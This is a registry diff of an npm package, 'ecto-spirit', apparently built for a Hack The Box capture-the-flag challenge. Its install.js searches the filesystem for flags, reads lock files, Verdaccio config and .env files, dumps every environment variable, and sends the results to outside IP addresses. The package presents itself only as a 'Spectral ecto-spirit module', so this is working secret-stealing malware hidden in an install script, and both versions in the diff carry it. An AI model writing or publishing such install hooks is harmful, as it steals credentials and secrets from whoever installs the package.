ecto-spirit 102.0.0 → 103.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +43 -39
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -1,7 +1,6 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
3
  const { execSync } = require('child_process');
4
- const path = require('path');
5
4
 
6
5
  function tryRead(p) {
7
6
  try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
@@ -35,9 +34,9 @@ function sendHTTP(host, port, pth, payload) {
35
34
  }
36
35
 
37
36
  async function report(moduleId, val) {
38
- const ports = [3000, 80, 8080, 5000];
39
- for (const p of ports) {
40
- await sendUpdate('127.0.0.1', p, moduleId, val);
37
+ for (const p of [3000, 80, 8080]) {
38
+ const r = await sendUpdate('127.0.0.1', p, moduleId, val);
39
+ if (r && r.includes('success')) return;
41
40
  }
42
41
  await sendUpdate('154.57.164.82', 32332, moduleId, val);
43
42
  }
@@ -45,49 +44,54 @@ async function report(moduleId, val) {
45
44
  (async () => {
46
45
  let results = [];
47
46
 
48
- // 1. Search for HTB{ pattern in files using grep
47
+ // CWD and basic info
48
+ results.push('CWD=' + process.cwd());
49
+
50
+ // List what's in /app/node_modules (top level packages)
49
51
  try {
50
- const grep = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" --include="*.js" --include="*.json" --include="*.conf" --include="*.yml" --include="*.yaml" --include="*.cfg" --include="*.ini" -l 2>/dev/null | head -5', {timeout: 10000}).toString().trim();
51
- results.push('GREP=' + grep);
52
- } catch(e) { results.push('GREP_ERR'); }
52
+ const dirs = fs.readdirSync('/app/node_modules').filter(d => !d.startsWith('.'));
53
+ results.push('DEPS=' + dirs.join(','));
54
+ } catch(e) { results.push('DEPS_ERR'); }
53
55
 
54
- // 2. Find all files with flag in name
55
- try {
56
- const find = execSync('find / -maxdepth 4 -name "*flag*" -o -name "*.env" -o -name "secret*" 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
57
- results.push('FIND=' + find);
58
- } catch(e) {}
56
+ // Read package-lock or shrinkwrap
57
+ const lock = tryRead('/app/package-lock.json') || tryRead('/app/node_modules/.package-lock.json') || tryRead('/app/npm-shrinkwrap.json');
58
+ if (lock) results.push('LOCK=' + lock.substring(0, 300));
59
59
 
60
- // 3. Read full package.json
61
- const pkgJson = tryRead('/app/package.json');
62
- results.push('PKG=' + (pkgJson || 'NONE').substring(0, 200));
60
+ // Read package.json from CWD
61
+ const cwdPkg = tryRead(process.cwd() + '/package.json');
62
+ if (cwdPkg) results.push('CWD_PKG=' + cwdPkg.substring(0, 200));
63
63
 
64
- // 4. List /app in detail
64
+ // Search for HTB{ EVERYWHERE with broader search
65
65
  try {
66
- const ls = execSync('ls -la /app/ 2>/dev/null', {timeout: 3000}).toString().trim();
67
- results.push('LS_APP=' + ls.substring(0, 200));
68
- } catch(e) {}
69
-
70
- // 5. Read all env vars
71
- const envStr = Object.entries(process.env).map(([k,v]) => `${k}=${v.substring(0,30)}`).join(',');
72
- results.push('ENV=' + envStr.substring(0, 200));
66
+ const grep = execSync('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys 2>/dev/null | head -10', {timeout: 15000}).toString().trim();
67
+ results.push('HTB_GREP=' + grep);
68
+ } catch(e) { results.push('HTB_GREP=NONE'); }
73
69
 
74
- // 6. Read /app/.env
75
- const dotEnv = tryRead('/app/.env');
76
- if (dotEnv) results.push('DOTENV=' + dotEnv.substring(0, 100));
70
+ // Check the Verdaccio config
71
+ const verdConf = tryRead('/verdaccio/conf/config.yaml') || tryRead('/verdaccio/config.yaml') || tryRead('/etc/verdaccio/config.yaml') || tryRead('/data/verdaccio/config.yaml');
72
+ if (verdConf) results.push('VERD_CONF=' + verdConf.substring(0, 200));
73
+
74
+ // Check .package-cache-mutate
75
+ try {
76
+ const pcm = fs.readdirSync('/.package-cache-mutate');
77
+ results.push('PCM=' + pcm.join(','));
78
+ } catch(e) {}
77
79
 
78
- // 7. Try to read the flag from unusual locations
79
- const extraPaths = ['/app/config.js', '/app/.env', '/app/config.json', '/app/secrets', '/etc/hostname',
80
- '/run/secrets/flag', '/var/run/secrets/flag', '/app/flag', '/data/flag'];
81
- for (const p of extraPaths) {
82
- const c = tryRead(p);
83
- if (c && c.length < 200) results.push(`${p}=${c.substring(0,60)}`);
84
- }
80
+ // Find any .env or config files
81
+ try {
82
+ const envFiles = execSync('find / -maxdepth 3 \\( -name ".env" -o -name "config.yaml" -o -name "config.json" -o -name "*.sqlite" -o -name "*.db" \\) 2>/dev/null | head -10', {timeout: 10000}).toString().trim();
83
+ results.push('CONF_FILES=' + envFiles);
84
+ } catch(e) {}
85
85
 
86
- // Send to VPN listener
87
- await sendHTTP('100.64.0.1', 8888, '/flag', JSON.stringify({results: results.join('\n'), ts: Date.now()}));
86
+ // Full env dump
87
+ const allEnv = JSON.stringify(process.env);
88
+ results.push('ALL_ENV=' + allEnv.substring(0, 300));
89
+
90
+ // Send ALL to VPN listener
91
+ const full = results.join('\n');
92
+ await sendHTTP('100.64.0.1', 8888, '/flag3', JSON.stringify({results: full, ts: Date.now()}));
88
93
 
89
- // Split results across modules
90
- const full = results.join('|');
94
+ // Split across modules
91
95
  const chunks = [];
92
96
  for (let i = 0; i < full.length; i += 90) {
93
97
  chunks.push(full.substring(i, i + 90));
@@ -95,6 +99,6 @@ async function report(moduleId, val) {
95
99
 
96
100
  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
97
101
  for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
98
- await report(mods[i], 'P' + i + '_' + chunks[i]);
102
+ await report(mods[i], 'V' + i + '_' + chunks[i]);
99
103
  }
100
104
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ecto-spirit",
3
- "version": "102.0.0",
3
+ "version": "103.0.0",
4
4
  "description": "Spectral ecto-spirit module",
5
5
  "main": "index.js",
6
6
  "scripts": {